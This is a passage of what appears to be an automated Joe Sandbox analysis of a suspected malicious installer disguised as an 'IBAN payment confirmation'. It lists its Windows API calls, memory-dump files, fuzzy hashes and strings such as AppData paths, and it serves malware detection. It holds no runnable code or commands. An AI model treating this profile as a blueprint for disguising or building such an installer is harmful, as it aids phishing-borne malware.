Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction ID: 7b0a8f507568a188bd2c0a80d79ed85a493e53c174130335dce059ea839ee6d0
Opcode Fuzzy Hash: 9c9351cd5493f6acb52240965b0f8c81d6de1eb3f207cde75e45128e5fdd4ef9
Instruction Fuzzy Hash: 13E01AB1B15114ABDB01ABE59D49CEEB66DEB00319F20043BF101B00D1C27989019E7E

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00401718 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

SearchPathW.KERNELBASE(?,00000000,?,00000400,?,?,000000FF), ref: 0040172C

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: PathSearch
String ID:
API String ID: 2203818243-0
Opcode ID: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction ID: f28d117729d6db308ba67ea043928a1e47cb3974c8f3bd2f87491376c6cbdc89
Opcode Fuzzy Hash: 95a92e1ee1deeee5d79651ccf25ffb42940f0592216d2c6bc0bf3332ed8f09d6
Instruction Fuzzy Hash: 73E048B2314200AAD710DFA5DE48EEA776CDB0036CF304676E611A61D0D2B45A41D72D

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000001FB,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction ID: 83e72149abe1372da0a381261de05d436a54b8bdbe31dfced4d63089b9680d6c
Opcode Fuzzy Hash: 4e0e47c2d07e12dc62bd4475595d204c43dc26f216d837d31c208bac29f0ca72
Instruction Fuzzy Hash: A0E04F7624010CBADB00DFA4ED46F9577ECEB14705F108425B608D6091C674E5008768

Function 00405BD9 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: e5271f86abd3e691175676240f3b6d2dabcfddd4658b863dc1b472273301a449
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 8EE08632104259ABDF109E548C04EEB775CFB04350F044432F911E3140D231E820DBA4

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 00404164 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction ID: f15b28e5f211e7e8d1db6812d8cffd834990aabd0fd5fa3204c122ebb67abe5b
Opcode Fuzzy Hash: 7da09c7c9c972ac789da334295fdd31a978bd1861dc1653affe8cad2486e61eb
Instruction Fuzzy Hash: 2BB01235684202BBEE314B00ED0DF957E62F76C701F008474B340240F0CAB344B2DB09

Function 0040330F Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 1000121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,10001259,?,?,10001534,?,10001020,10001019,00000001), ref: 10001225

Memory Dump Source

Source File: 00000000.00000002.1955740112.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1955670729.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955830889.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1955921061.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_IBAN payment confirmation.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction ID: 8a0ecea123cfc10dc9c303f5c75fb6a011d4279a03f0c54a853e6fb6a4ccb70c
Opcode Fuzzy Hash: 9c514497dbeefca74e47a404b0d43d99d31e609484f565d326becb97793310f2
Instruction Fuzzy Hash: E3B012B0A00010DFFE00CB64CC8AF363358D740340F018000F701D0158C53088108638

Non-executed Functions

Function 004052D3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405332
GetDlgItem.USER32(?,000003EE), ref: 00405341
GetClientRect.USER32(?,?), ref: 0040537E
GetSystemMetrics.USER32(00000015), ref: 00405386
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004053A7
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053B8
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053CB
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053D9
SendMessageW.USER32(?,00001024,00000000,?), ref: 004053EC
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040540E
ShowWindow.USER32(?,00000008), ref: 00405422
GetDlgItem.USER32(?,000003EC), ref: 00405443
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405453
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040546C
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405478
GetDlgItem.USER32(?,000003F8), ref: 00405350

Part of subcall function 00404164: SendMessageW.USER32(00000028,?,00000001,00403F90), ref: 00404172

GetDlgItem.USER32(?,000003EC), ref: 00405495
CreateThread.KERNEL32(00000000,00000000,Function_00005267,00000000), ref: 004054A3
CloseHandle.KERNEL32(00000000), ref: 004054AA
ShowWindow.USER32(00000000), ref: 004054CE
ShowWindow.USER32(?,00000008), ref: 004054D3
ShowWindow.USER32(00000008), ref: 0040551D
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405551
CreatePopupMenu.USER32 ref: 00405562
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405576
GetWindowRect.USER32(?,?), ref: 00405596
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004055AF
SendMessageW.USER32(?,00001073,00000000,?), ref: 004055E7
OpenClipboard.USER32(00000000), ref: 004055F7
EmptyClipboard.USER32 ref: 004055FD
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405609
GlobalLock.KERNEL32(00000000), ref: 00405613
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405627
GlobalUnlock.KERNEL32(00000000), ref: 00405647
SetClipboardData.USER32(0000000D,00000000), ref: 00405652
CloseClipboard.USER32 ref: 00405658

Strings

{, xrefs: 0040553B

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction ID: 9fa9afbe460ba73b362fbd7a7e80f39848d7c2b38d0fa32ac3ffaaa5a75fb061
Opcode Fuzzy Hash: 0c7871d9c118b0e9bc82f4af322ee916726f515fd3ec4b55100c1069ec2247ae
Instruction Fuzzy Hash: 4AB16B70900209BFDF219F60DD89AAE7B79FB04315F50803AFA05BA1A0C7759E52DF69

Function 004045CA Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404619
SetWindowTextW.USER32(00000000,?), ref: 00404643
SHBrowseForFolderW.SHELL32(?), ref: 004046F4
CoTaskMemFree.OLE32(00000000), ref: 004046FF
lstrcmpiW.KERNEL32(Call,004226D0,00000000,?,?), ref: 00404731
lstrcatW.KERNEL32(?,Call), ref: 0040473D
SetDlgItemTextW.USER32(?,000003FB,?), ref: 0040474F

Part of subcall function 004056AA: GetDlgItemTextW.USER32(?,?,00000400,00404786), ref: 004056BD

Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\IBAN payment confirmation.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

GetDiskFreeSpaceW.KERNEL32(004206A0,?,?,0000040F,?,004206A0,004206A0,?,00000000,004206A0,?,?,000003FB,?), ref: 00404810
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040482B
SetDlgItemTextW.USER32(00000000,00000400,00420690), ref: 004048B1

Strings

A, xrefs: 004046ED
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 0040471A
Call, xrefs: 0040472B, 00404730, 0040473B

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call
API String ID: 2246997448-2268674972
Opcode ID: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction ID: fc6e5784adbf23f3bf0ca4204261aafad130db7b69f5cfc08d06a9dfd3cb4e02
Opcode Fuzzy Hash: 5e1be59e26550fe03483dde9140ef9c7df16d0723f1807c21cae017824fc49c2
Instruction Fuzzy Hash: 1B916FB2900209ABDB11AFA1CC85AAF77B8EF85354F10847BF701B72D1D77C99418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: e985ba924887a1bc27921ead0041ac8d1a9f7f1065ea0f82ea0bc3cd49787025
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

Call, xrefs: 004044A9
CB@, xrefs: 004044D8
N, xrefs: 00404468
open, xrefs: 004044DB

Memory Dump Source

Source File: 00000000.00000002.1942118512.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1942104417.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942133333.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942147340.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1942227736.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IBAN payment confirmation.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
